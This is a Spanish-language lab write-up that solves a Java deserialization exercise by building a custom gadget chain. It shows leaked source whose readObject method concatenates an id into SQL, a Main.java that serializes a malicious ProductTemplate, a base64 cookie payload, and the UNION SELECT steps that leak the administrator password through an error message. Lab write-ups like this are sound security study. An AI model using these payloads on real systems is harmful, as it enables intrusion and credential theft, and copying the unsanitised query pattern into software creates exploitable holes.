🎄Laboratorio: Desarrollo de una cadena de gadget personalizada para la deserialización de Java

Lo primero será buscar el codigo fuente de la app, a ver donde lo encontramos:

Aqui está en el endpoint /backup/AccessTokenUser.java

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}

También encontré /backup/ProductTemplate.java que tiene otra parte super importante:

package data.productcatalog;

import common.db.JdbcConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
    static final long serialVersionUID = 1L;

    private final String id;
    private transient Product product;

    public ProductTemplate(String id)
    {
        this.id = id;
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
    {
        inputStream.defaultReadObject();

        JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
                "org.postgresql.Driver",
                "postgresql",
                "localhost",
                5432,
                "postgres",
                "postgres",
                "password"
        ).withAutoCommit();
        try
        {
            Connection connect = connectionBuilder.connect(30);
            String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
            Statement statement = connect.createStatement();
            ResultSet resultSet = statement.executeQuery(sql);
            if (!resultSet.next())
            {
                return;
            }
            product = Product.from(resultSet);
        }
        catch (SQLException e)
        {
            throw new IOException(e);
        }
    }

    public String getId()
    {
        return id;
    }

    public Product getProduct()
    {
        return product;
    }
}

Parece que el ataque lo debo llevar por el ID que está serializado por la cookie ahí creo que debo meter un SQL Injection para que me retorne la contraseña de admin o algo por el estilo, ya que analizando bien la consulta SQL que se hace no está sanitizada el comando ID que se pasa en la consulta se concatena y además de ello no está sanitizado se interpreta directamente con la entrada del usuario, asi que usaremos el productTemplate para llamarlo en el main y crear un objeto de tipo ProductTemplate que tenga como parametro la SQL Injection.

Main.java:

import data.productcatalog.ProductTemplate;
//import data.productcatalog.Product;
//import data.ProductTemplate;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

class Main {
    public static void main(String[] args) throws Exception {
        //AccessTokenUser originalObject = new AccessTokenUser("Test", "Test");
        ProductTemplate productTemplate = new ProductTemplate("SELECT * FROM users --"); //Payload inyección SQL

        String serializedObject = serialize(productTemplate);

        System.out.println("Serialized object: " + serializedObject);

        ProductTemplate deserializedObject = deserialize(serializedObject);

        System.out.println("Deserialized Object: " + deserializedObject.getId());
    }

    private static String serialize(Serializable obj) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
        try (ObjectOutputStream out = new ObjectOutputStream(baos)) {
            out.writeObject(obj);
        }
        return Base64.getEncoder().encodeToString(baos.toByteArray());
    }

    private static <T> T deserialize(String base64SerializedObj) throws Exception {
        try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) {
            @SuppressWarnings("unused")
            T obj = (T) in.readObject();
            return obj;
        }
    }
}
  • rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAXycgVU5JT04gU0VMRUNUIE5VTEwsIE5VTEwsIE5VTEwsIENBU1QocGFzc3dvcmQgQVMgbnVtZXJpYyksIE5VTEwsIE5VTEwsIE5VTEwsIE5VTEwgRlJPTSB1c2Vycy0t

Comando SQL Final:

  • ' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users--

Pasos para llegar al comando SQL Final:

  1. Compruebo la comilla simple, apostrofe '

  1. 1' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- Con null’s hasta comprobar cual no me retorna errores, en este caso 8 null’s pero junto con UNION efectivamente, el 1 es para crear una tabla de consulta.

  1. ' UNION SELECT NULL, NULL, NULL, password, NULL, NULL, NULL, NULL FROM users-- Verificar que se puede seleccionar la columna password de la tabla users e insertarla en el resultado de la consulta original, y en la posición correcta, ya que el orden de las columnas es muy importante.

  2. ' UNION SELECT NULL, NULL, NULL, CAST(password AS VARCHAR), NULL, NULL, NULL, NULL FROM users-- Intentar convertir la columna password a VARCHAR, que suele ser el tipo de dato correcto, pero es posible que no nos deje pasar alguna validación de tipo de datos por como se muestra por pantalla.

  3. ' UNION SELECT NULL, NULL, NULL, CAST(password AS numeric), NULL, NULL, NULL, NULL FROM users-- → displays the password in the error message.

Pareciera que esa pudiese ser la contraseña de Administrator.

Efectivamente la contraseña es: v12bt7itoymlt0u98ou4

Punto importante a mencionar:

Normalmente luego de un rato si uno no se está moviendo en el lab se retorna un 500 error, así que toca esperar, al rato cuando volví a ingresar al lab la contraseña de administrator no me funcionó esto es porque basicamente el lab genera una nueva en cada ingreso al lab, eso es lo que parece, el error de ahora me retornó otra contraseña, así que siempre se mantiene actualizando →

  • 0d8em1q8i71zyolir6xw

References:

Conclusión:

En esencia lo importante de este laboratorio es poder comprender como un código funcional en una aplicación uno como atacante lo puede abstraer para que su misma funcionalidad pueda ser parte de un ataque encadenado de uno como atacante, en este caso aprovechamos el atributo id de la clase ProductTemplate; para llamarlo e instanciarlo como un nuevo objeto pasandole el parametro de la consulta SQL que es la que ibamos a inyectar porque como sabiamos que la consulta SQL legitima concatenaba el atributo id era cuestión de simplemente entonces crear el payload SQL, todo ocasionado por esta parte de aqui:

String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);

Y aprovechabamos y lo instanciabamos en el main con su parametro malicioso: *

Last updated